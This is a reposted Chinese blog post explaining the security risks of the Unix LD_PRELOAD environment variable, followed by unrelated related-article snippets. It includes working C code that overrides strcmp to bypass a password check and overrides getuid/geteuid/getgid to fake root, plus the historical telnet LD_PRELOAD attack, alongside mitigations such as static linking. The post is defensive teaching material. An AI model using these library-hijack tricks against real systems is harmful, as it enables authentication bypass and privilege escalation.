[forward]警惕UNIX下的LD_PRELOAD环境变量
From: https://blog.csdn.net/haoel/article/details/1602108
警惕UNIX下的LD_PRELOAD环境变量
前言
也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久。不过,在这里,我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重,值得所有的Unix下的程序员的注意。
在开始讲述为什么要当心LD_PRELOAD环境变量之前,请让我先说明一下程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。
当然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程,那么,你的程序也就被人“劫持”了。
LD_PRELOAD简介
在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。
我们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。
OK。还是让我用一个例子来看一下用LD_PRELOAD来hack别人的程序。
示例一
我们写下面一段例程:
/* 文件名:verifypasswd.c */
/* 这是一段判断用户口令的程序,其中使用到了标准C函数strcmp*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
}
在上面这段程序中,我们使用了strcmp函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载strcmp函数:
/* 文件名:hack.c */
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2)
{
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
/* 永远返回0,表示两个字符串相等 */
return 0;
}
编译程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
测试一下程序:(得到正确结果)
$ ./verifypasswd asdf
Invalid Password!
设置LD_PRELOAD变量:(使我们重写过的strcmp函数的hack.so成为优先载入链接库)
$ export LD_PRELOAD="./hack.so"
再次运行程序:
$ ./verifypasswd asdf
hack function invoked. s1=<password> s2=<asdf>
Correct Password!
我们可以看到,1)我们的hack.so中的strcmp被调用了。2)主程序中运行结果被影响了。如果这是一个系统登录程序,那么这也就意味着我们用任意口令都可以进入系统了。
示例二
让我们再来一个示例(这个示例来源于我的工作)。这个软件是一个分布式计算平台,软件在所有的计算机上都有以ROOT身份运行的侦听程序(Daemon),用户可以把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的所有环境变量带到B计算机上,在B计算机上的Daemon会fork出一个子进程,并且Daemon会调用seteuid、setegid来设置子程的执行宿主,并在子进程空间中设置从A计算机带过来的环境变量,以仿真用户的运行环境。(注意:A和B都运行在NIS/NFS方式上)
于是,我们可以写下这样的动态链接库:
/* 文件名:preload.c */
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
在这里我们可以看到,我们重载了系统调用。于是我们可以通过设置LC_PRELOAD来迫使主程序使用我们的geteuid/getuid/getgid(它们都返回0,也就是Root权限)。这会导致,上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid得到当前用户ID是0,并把这个用户ID传到了执行端B计算机上,于是B计算机上的Daemon就会调用seteuid(0),导致我们的程序运行在了Root权限之下。从而,用户取得了超级用户的权限而为所欲为。
上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户通过在系统中设计LC_PRELOAD环境变量来加载这个动态链接库,会非常容易影响其它系统命令(如:/bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以Root权限运行。
让我们看一下这个函数是怎么影响系统命令的:
$ id
uid=500(hchen) gid=10(wheel) groups=10(wheel)
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
$ whoami
root
$ /bin/sh
# <------ 你可以看到命令行提示符会由 $ 变成 #
下面是一个曾经非常著名的系统攻击
$ telnet
telnet> env def LD_PRELOAD /home/hchen/test/preload.so
telnet> open localhost
#
当然,这个安全BUG早已被Fix了(虽然,通过id或是whoami或是/bin/sh让你觉得你像是root,但其实你并没有root的权限),当今的Unix系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以Root方式运行的第三方程序。
所以,在我们编程时,我们要随时警惕着LD_PRELOAD。
如何避免
不可否认,LD_PRELOAD是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让LD_PRELOAD失效。目前而言,有以下面两种方法可以让LD_PRELOAD失效。
1)通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。
2)通过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,如果你有以root方式运行的程序,最好设置上SUID权限。(如:chmod 4755 daemon)
在一些UNIX版本上,如果你想要使用LD_PRELOAD环境变量,你需要有root权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,只是一个Workaround的方法,是一种因噎废食的做法,为了安全,只能禁用。
[forward]警惕UNIX下的LD_PRELOAD环境变量的更多相关文章
- UNIX下的LD_PRELOAD环境变量
UNIX下的LD_PRELOAD环境变量 也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久.不过,在这里,我还是想讨论一下这个环境变量.因为这个环境变量所带来的安全问题非常严重,值得 ...
- 记一次Linux bash 命令行卡顿排查之警惕LD_PRELOAD环境变量
现象: 通过屏幕或者ssh登录Linux操作系统(本例:Ubuntu)后,执行ls 需要数秒才返回 strace -c ls 查看实际命令调用耗时并不长 对比和正常执行的主机命令执行时,加载的库文件差 ...
- 嵌入式 Linux下永久生效环境变量bashrc
嵌入式 Linux下永久生效环境变量bashrc 1) .bashrc文件 在linux系统普通用户目录(cd /home/xxx)或root用户目录(cd /root)下,用指令ls -al可以看到 ...
- Windows下PATH等环境变量详解
在学习JAVA的过程中,涉及到多个环境变量(environment variable)的概念,如PATH.正确地配置这些环境变量,是能够顺利学习.开发的前提.而经常出现的问题是:有的学习者能够按照提示 ...
- Windows下PATH等环境变量详解(转载)
本文转载自http://legend2011.blog.51cto.com/3018495/553255 在学习JAVA的过程中,涉及到多个环境变量(environment variable)的概念, ...
- 【转】Windows下PATH等环境变量详解
[转]“肖凡的专栏” 博客,请务必保留此出处http://legend2011.blog.51cto.com/3018495/553255 在学习JAVA的过程中,涉及到多个环境变量(environm ...
- Windows 7下配置JDK环境变量和Java环境变量配置
下面来介绍一下Java环境变量配置,是在Windows 7下配置JDK环境变量. 方法/步骤 1 安装JDK,安装过程中可以自定义安装目录等信息,例如我们选择安装目录为:C:\Program Fil ...
- Linux下配置Node环境变量及问题详解
这是之前在Linux下配置Node环境变量时踩过的坑,今天又有小伙伴询问这个问题,因此记录下来,不仅是给新童鞋们一些参考,也方便日后查阅 在这之前,相信都已经安装好了,没安装的可以查看博主另一篇文章 ...
- Mac下添加java环境变量
2015年4月22号更新: 发现一个坑:最近发现有同事按照本文方式配置jdk环境变量一直不成功,后来发现他是使用了“Oh-My-Zsh”,配置文件的路径不是/etc/profile或~/.bash_p ...
随机推荐
- android 请求网络异步载入
/** * 封装ProecssDialog对话框 * */ public class LoadDialog extends ProgressDialog { private String title ...
- IOS - UIView停止交互
UIView停止交互(失去焦点): 设置userInteractionEnabled=NO, 获取交互设置YES. 能够应用于UIButton, UITextField等交互型控件. [editBut ...
- 【转】Linux 查看CPU信息、机器型号等硬件信息
测试机器的硬件信息: 查看CPU信息(型号) # cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c 8 Intel(R) Xeo ...
- 虚拟机ODPS初体验
大数据竞赛的第二阶段须要通过远程桌面的方式连接阿里提供的虚拟机, 全部操作都是在远程主机上进行. 在搞清楚文件回传方式之前真是各种麻烦(写博客都没有办法贴代码). 用了两个上午初步上手, 希望接下来进 ...
- 关于C语言指针的一些新认识(1)
Technorati 标签: 指针,数组,汇编,C语言 前言 指针是C语言的精华,但我对它一直有种敬而远之的感觉,因为一个不小心就可能让你的程序陷入莫名其妙的麻烦之中.所以,在处理字符串时,我总是能用 ...
- 模块化开发(三)---通过node.js学习模块化开发
由于改文章有点大,部分代码格式有点问题,编辑之后博客园莫名其妙推出,有问题可以留言沟通. 什么是Node? 它是一个在浏览器之外可以解析和执行javascript代码的运行环 境,或者说是一个运行 ...
- 从零讲Java,给你一条清晰地学习道路!该学什么就学什么!
从零讲JAVA ,给你一条 清晰地学习道路!该学什么就学什么! 1.计算机基础: 1.1数据机构基础: 主要学习:1. ...
- _stdcall与_cdecl
_cdecl(C Declaration的缩写)是C/C++和MFC程序默认使用的调用约定,因此可以省略,也可以在函数声明时加上_cdecl关键字来手工指定.采用_cdecl约定时,函数参数按照从右到 ...
- ChromeDriver only supports characters in the BMP
ChromeDriver only supports characters in the BMP
- DIV+CSS在不同浏览器中的表现
在给员工培训DIV+CSS的过程中.他们向我提出了非常多问题,有些问题我自己也没有想到过于是抽了些时间自己进行了一番实验,所有实验在IE7和Firefox中进行: 实验一.假设一个div没有指定 ...